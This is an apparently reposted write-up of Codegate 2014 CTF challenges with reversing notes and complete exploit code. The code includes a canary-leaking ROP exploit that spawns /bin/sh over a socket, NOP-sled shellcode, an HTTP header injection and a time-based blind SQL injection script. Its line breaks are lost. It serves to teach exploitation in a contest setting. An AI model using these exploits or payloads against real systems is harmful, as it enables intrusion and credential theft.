Aerosol Posted January 8, 2015 Report Posted January 8, 2015 The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)Reversing 200 dodoCrackmeRunning strace$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000write(1, "r", 1r) = 1write(1, "o", 1o) = 1write(1, "o", 1o) = 1write(1, "t", 1t) = 1write(1, "@", 1@) = 1write(1, "l", 1l) = 1write(1, "o", 1o) = 1write(1, "c", 1c) = 1write(1, "a", 1a) = 1write(1, "l", 1l) = 1write(1, "h", 1h) = 1write(1, "o", 1o) = 1write(1, "s", 1s) = 1write(1, "t", 1t) = 1write(1, "'", 1') = 1write(1, "s", 1s) = 1write(1, " ", 1 ) = 1write(1, "p", 1p) = 1write(1, "a", 1a) = 1write(1, "s", 1s) = 1write(1, "s", 1s) = 1write(1, "w", 1w) = 1write(1, "o", 1o) = 1write(1, "r", 1r) = 1write(1, "d", 1d) = 1write(1, ":", 1:) = 1...it looks like they’re doing syscalls for every character written and readMost of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.import gdbimport binasciiimport sysdef read_weird_string(start_addr, spacing=8, block=100): a = gdb.selected_inferior().read_memory(start_addr, block * spacing) #for i in range(0,block): # print #print help(a) for i in a: if i == "\x00": continue sys.stdout.write(i) print print binascii.hexlify(a)read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50gdb-peda$ source decode_string.py H4PPY_C0DEGaTE_2014_CU_1N_K0RE4Reversing 250 Clone TechniqueThis one has on the description: “Limited processes will be generated. Which one has the flag?”We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…One thing I tried to do throughout this was put a breakpoint on memory access. For example,ba w4 00409754The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.>type windbg.txt.childdbg 1.load pykd.pydsxrsxe -c "bp 00401201 \"!py iskey.py\";g" ibpsxi epr>type iskey.py#!/usr/bin/pythonimport pykdimport structimport binasciidef is_possible_key(mstr): try: mstr = mstr[:mstr.index(0)] except ValueError: return False print mstr for i in mstr: if not (i >= 0x20 and i <= 0x7e): return False if len(mstr) > 5: print "".join([chr(i) for i in mstr]) return True return Falseedi = pykd.reg("edi")a = pykd.loadBytes(edi,30)if is_possible_key(a): print "KEYKEYKEYKEYKEYKEY"else: pykd.dbgCommand("g")>windbg -c "$$><windbg.txt" clone_technique.exeThis finds our key ‘And Now His Watch is Ended’Forensics 150Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wiresharkFirst I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here PDF - ForensicsWiki on the pdf but no luck. Looking at it, it’sOk, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.Then just save the pdf part to a file and we get the keyPwn 250 Angy DoraemonThis was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.#!/usr/bin/pythonimport argparseimport structimport socketimport binasciiimport timeclass exploit: def __init__(self, args): self.command = args.command if args.fd == None: self.get_fd() else: self.fd = args.fd if args.canary == None: self.get_canary() else: self.canary = binascii.unhexlify(args.canary) self.pwn() def get_canary(self): self.canary = "" padding = "yAAAAAAAAA" #doing one byte at a time simplifies cases where there are null bytes for i in range(0,4): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.host, args.port)) data = self.recv_until(">", sock) sock.sendall("4") self.recv_until("(y/n) ", sock) sock.sendall(padding) data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock) if len(data) == 58 + i: self.canary += "\x00" else: self.canary += data[22+i] padding += "A" sock.close() print "canary: ", binascii.hexlify(self.canary) def get_fd(self): self.canary = "" padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.host, args.port)) data = self.recv_until(">", sock) sock.sendall("4") self.recv_until("(y/n) ", sock) sock.sendall(padding) data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock) sock.close() self.fd = ord(data[42]) print "fd: ", self.fd def pwn(self): rop = struct.pack("<I", 0x08048620) # read plt rop += struct.pack("<I", 0x8048b2c) # pop 3 ret rop += struct.pack("<I", self.fd) # fd rop += struct.pack("<I", 0x804b508) # buf rop += struct.pack("<I", 0x256) # nbytes rop += struct.pack("<I", 0x08048710) # execl rop += struct.pack("<I", 0x41424142) # ret rop += struct.pack("<I", 0x0804970D) # /bin/sh rop += struct.pack("<I", 0x0804970D) # /bin/sh rop += struct.pack("<I", 0x804b508) # buf "-c" rop += struct.pack("<I", 0x804b508 + 3) # buf "command" rop += struct.pack("<I", 0x0000000) # null sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.host, args.port)) data = self.recv_until(">", sock) sock.sendall("4") self.recv_until("(y/n) ", sock) padding = "yAAAAAAAAA" padding += self.canary padding += "B" * 12 sock.sendall(padding + rop) self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket sock.sendall("-c\x00{0}\x00".format(self.command)) data = sock.recv(1024) print data sock.close() def recv_until(self, string, sock): data = "" while True: tmp = sock.recv(1) if tmp == "": break data += tmp if data.endswith(string): break return dataparser = argparse.ArgumentParser()parser.add_argument("--host", default="192.168.137.150")parser.add_argument("--port", default=8888)parser.add_argument("--canary", default=None)parser.add_argument("--command", default="whoami")parser.add_argument("--fd", default=None, type=int)args = parser.parse_args()m = exploit(args)Pwn 350 4stoneThis is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.gdb-peda$ vmmap Start End Perm Name0x08048000 0x0804a000 r-xp /home/mopey/games/4stone/4stone0x0804a000 0x0804b000 r-xp /home/mopey/games/4stone/4stone0x0804b000 0x0804c000 rwxp /home/mopey/games/4stone/4stone0x0804c000 0x0806d000 rwxp [heap]0xb7dc2000 0xb7dc3000 rwxp mapped0xb7dc3000 0xb7dc6000 r-xp /lib/i386-linux-gnu/libdl-2.17.so0xb7dc6000 0xb7dc7000 r-xp /lib/i386-linux-gnu/libdl-2.17.so0xb7dc7000 0xb7dc8000 rwxp /lib/i386-linux-gnu/libdl-2.17.so0xb7dc8000 0xb7f76000 r-xp /lib/i386-linux-gnu/libc-2.17.so0xb7f76000 0xb7f78000 r-xp /lib/i386-linux-gnu/libc-2.17.so0xb7f78000 0xb7f79000 rwxp /lib/i386-linux-gnu/libc-2.17.so0xb7f79000 0xb7f7d000 rwxp mapped0xb7f7d000 0xb7f9b000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.90xb7f9b000 0xb7f9c000 ---p /lib/i386-linux-gnu/libtinfo.so.5.90xb7f9c000 0xb7f9e000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.90xb7f9e000 0xb7f9f000 rwxp /lib/i386-linux-gnu/libtinfo.so.5.90xb7f9f000 0xb7fc2000 r-xp /lib/i386-linux-gnu/libncurses.so.5.90xb7fc2000 0xb7fc3000 r-xp /lib/i386-linux-gnu/libncurses.so.5.90xb7fc3000 0xb7fc4000 rwxp /lib/i386-linux-gnu/libncurses.so.5.90xb7fdb000 0xb7fdd000 rwxp mapped0xb7fdd000 0xb7fde000 r-xp [vdso]0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.17.so0xb7ffe000 0xb7fff000 r-xp /lib/i386-linux-gnu/ld-2.17.so0xb7fff000 0xb8000000 rwxp /lib/i386-linux-gnu/ld-2.17.so0xbffdf000 0xc0000000 rwxp [stack]hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:gdb-peda$ vmmap Start End Perm Name0x08048000 0x0804a000 r-xp /home/mopey/games/4stone/4stone0x0804a000 0x0804b000 r-xp /home/mopey/games/4stone/4stone0x0804b000 0x0804c000 rwxp /home/mopey/games/4stone/4stone0x0804c000 0x0806d000 rwxp [heap]0x40000000 0x40020000 r-xp /lib/i386-linux-gnu/ld-2.17.so0x40020000 0x40021000 r-xp /lib/i386-linux-gnu/ld-2.17.so0x40021000 0x40022000 rwxp /lib/i386-linux-gnu/ld-2.17.so0x40022000 0x40023000 r-xp [vdso]0x40023000 0x40025000 rwxp mapped0x4003c000 0x4005f000 r-xp /lib/i386-linux-gnu/libncurses.so.5.90x4005f000 0x40060000 r-xp /lib/i386-linux-gnu/libncurses.so.5.90x40060000 0x40061000 rwxp /lib/i386-linux-gnu/libncurses.so.5.90x40061000 0x4007f000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.90x4007f000 0x40080000 ---p /lib/i386-linux-gnu/libtinfo.so.5.90x40080000 0x40082000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.90x40082000 0x40083000 rwxp /lib/i386-linux-gnu/libtinfo.so.5.90x40083000 0x40084000 rwxp mapped0x40084000 0x40232000 r-xp /lib/i386-linux-gnu/libc-2.17.so0x40232000 0x40234000 r-xp /lib/i386-linux-gnu/libc-2.17.so0x40234000 0x40235000 rwxp /lib/i386-linux-gnu/libc-2.17.so0x40235000 0x40238000 rwxp mapped0x40238000 0x4023b000 r-xp /lib/i386-linux-gnu/libdl-2.17.so0x4023b000 0x4023c000 r-xp /lib/i386-linux-gnu/libdl-2.17.so0x4023c000 0x4023d000 rwxp /lib/i386-linux-gnu/libdl-2.17.so0x4023d000 0x4023e000 rwxp mapped0xbffdf000 0xc0000000 rwxp [stack]And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?Tracing this, in the exit .got we have123450x40084000 0x40232000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0x4013eb04 <_exit>: mov ebx,DWORD PTR [esp+0x4] 0x4013eb08 <_exit+4>: mov eax,0xfc=> 0x4013eb0d <_exit+9>: call DWORD PTR gs:0x10It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this x86 - How to use a logical address in gdb? - Stack Overflow by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>Because this is bound loosely we can look for references to this in the mapped region.gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)Found 1 results, display max 1 items:mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>: push ecx)It looks like we could overwrite this and it would point somewhere else. Does it work?gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0cgdb-peda$ continue Continuing....Stopped reason: SIGSEGV0x0c0c0c0c in ?? ()Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit#!/usr/bin/pythonimport osimport argparseimport structimport sysfrom ctypes import *class exploit: def __init__(self, args): self.vulnpath = args.path #stdin (wins the game and specifies what to write) f = open(args.inputfile, "w") f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n") #f.write("c0c0c0c0") #what to write f.write("bfab0b00") #what to write f.close() f = os.open(args.inputfile, int('444', 8)) print f print sys.stdin os.dup2(f, 0) #arg1 (sepcifies where to write) self.argv = "4023d6d0" #environment (shellcode) /bin/sh setuid 1003 dashsc = ("\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +"\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e" ) self.env = { "TERM": "xterm" } for i in range(0,100): self.env[str(i)] = "\x90" * 100000 + dashsc def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)parser = argparse.ArgumentParser()parser.add_argument("--inputfile", default="input.txt")parser.add_argument("--path")args = parser.parse_args()m = exploit(args)m.pwn()Pwn 400 minibombThe overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.gdb-peda$ x/4i 0x40000424 0x40000424 <__kernel_vsyscall+16>: pop ebp 0x40000425 <__kernel_vsyscall+17>: pop edx 0x40000426 <__kernel_vsyscall+18>: pop ecx 0x40000427 <__kernel_vsyscall+19>: ret gdb-peda$ x/2i 0x080480F3 0x80480f3: mov ebx,0x0 0x80480f8: int 0x80We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150.text:080480B4 lea ebx, unk_8049150 ; start.text:080480BA int 80h ; We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: Codegate 2014 Quals – Minibomb (pwn 400) | More Smoked Leet Chicken. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.Using More Smoked Leet Chicken’s technique#!/usr/bin/python#listener.pyimport socketimport times = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(("127.0.0.1", 30123))s.listen(1)while True: conn, ts = s.accept() conn.sendall("/tmp/blah\x00 ") time.sleep(1) print "got connection" conn.close()#!/usr/bin/python#exploit.pyimport argparseimport structimport socketimport timefrom subprocess import *class exploit: def __init__(self, args): self.vulnpath = args.path padding = "A" * 16 rop = struct.pack("<I", 0x40000425) #pop edx, pop ecx, ret rop += struct.pack("<I", 11) #edx (length) rop += struct.pack("<I", 0x08049150) #ecx (buffer) #eax is 3 due to pipe rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin? #eax is 11 due to read 11 rop += "AAAAAAAAAAAAAAAA" rop += struct.pack("<I", 0x40000425) #pop edx, pop ecx, ret rop += struct.pack("<I", 0) rop += struct.pack("<I", 0) rop += struct.pack("<I", 0x080480B4) self.payload = padding + rop def pwn(self): out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) out_sock.connect(("127.0.0.1", 30123)) out_sock.setblocking(0) #find the right value out_sock.sendall("A" * eval(args.sendsize)) p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock) p.stdin.write(self.payload)parser = argparse.ArgumentParser()parser.add_argument('--path', default="./minibomb")parser.add_argument('--sendsize', default=0)args = parser.parse_args()m = exploit(args)m.pwn()$ ulimit -sunlimited $ cat /tmp/blah #!/bin/bash -p/usr/bin/id > /tmp/output$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"$ cat /tmp/output uid=1000(test) gid=1000(test) groups=1000(test)Web 200I banged my head against this one for a while. In the comments was I tried things like looking for .htaccess, etc, but no luck.This looked promisingthis looks promisinghttp://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2FadminBut you only get the first two lines back and the content length. But it turns out there’s a header injection!GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1Host: 58.229.183.25User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-aliveThis responds with<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1Host: 58.229.183.25User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-aliveIn the response is: Password is WH0_IS_SnUS_bI1G_F4NWeb 500They give us this source.<?phpsession_start();$link = @Mysql_close($link);?><head><link rel="stylesheet" type="text/css" href="black.css"></head><form method=post action=index.php> <h1> <?= $left_count ?> times left </h1> <div class="inset"> <p> <label for="password">PASSWORD</label> <input type="password" name="password" id="password" > </p> </div> <p class="p-container"> <span onclick=location.href="auth.php"> Auth </span> <input type="submit" value="Check"> </p></form>The sqli is relatively straightforward. You can have a True/false query like this.password='or(1=2)and'1password='or(1=1)and'1But we have only 120 guesses*, and the password is quite long at 30 chars. This returns truepassword='or(CHAR_LENGTH(password)=30)and'1so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*#!/usr/bin/pythonimport urllibimport httplibimport timeimport argparseimport sysclass web500: def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False): self.conn = httplib.HTTPConnection(host, port) self.conn.connect() if session == "": self.session = self.get_session() print "Creating SESSION=" + self.session else: self.session = session self.check_iter = check_iter self.debug = debug self.upperlimit = 120 self.passwd = "" self.pwn() def pwn(self): for letter in range(0,30): dstr = "" if self.check_iter != -1: letter = int(self.check_iter) for bit in range(8,3,-1): self.upperlimit -=1 if self.upperlimit < 0: print "ERROR: Went over limit :(" this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1) this_bit = "SUBSTR({0},{1},1)".format(this_char, bit) if (bit != 4 and not self.debug): #if on binary(password[i])[3:4] == 10: sleep 24 #if on binary(password[i])[3:4] == 01: sleep 16 #if all more significant bits are 1: sleep 8 #if all more significant bits are 0: sleep 4 #else: return true if 1, else 0 truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01', if(left(SUBSTR({0},4,9),{1})!='{4}', if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3)) else: truth = "if({0}=0x31,1,0)".format(this_bit) sql = "'or(" + truth + ")and'1" param= "password=" + urllib.quote(sql) self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php") self.conn.putheader("Content-length", str(len(param))) self.conn.putheader("Cookie", "PHPSESSID=" + self.session) self.conn.putheader("Content-Type", "application/x-www-form-urlencoded") self.conn.endheaders() t = time.clock() self.conn.send(param) resp = self.conn.getresponse() data = resp.read() t = time.clock() - t if t>=24: dstr = "10" + dstr break elif t>=16: dstr = "01" + dstr break elif t >= 8: dstr = dstr.rjust(5,"1") break elif t >= 4: dstr = dstr.zfill(5) break elif "True" in data: dstr = "1" + dstr else: dstr = "0" + dstr print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit self.passwd += self.bin_tochar(dstr) if self.check_iter != -1: break print "PASSWORD: ", self.passwd def bin_tochar(self, c): return chr(int("011" + c, 2)) def get_session(self): self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php") self.conn.endheaders() resp = self.conn.getresponse() data = resp.read() return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]parser = argparse.ArgumentParser()parser.add_argument("--session", default="")parser.add_argument("--checkIter", default=-1)parser.add_argument("--debug", action="store_true")args = parser.parse_args()a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)Logging in with this password gives us the key:Congrats! the key is DontHeartMeBaby*$#@!*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier tunz :: [Codegate 2014 quals] Web 500 write upSource Quote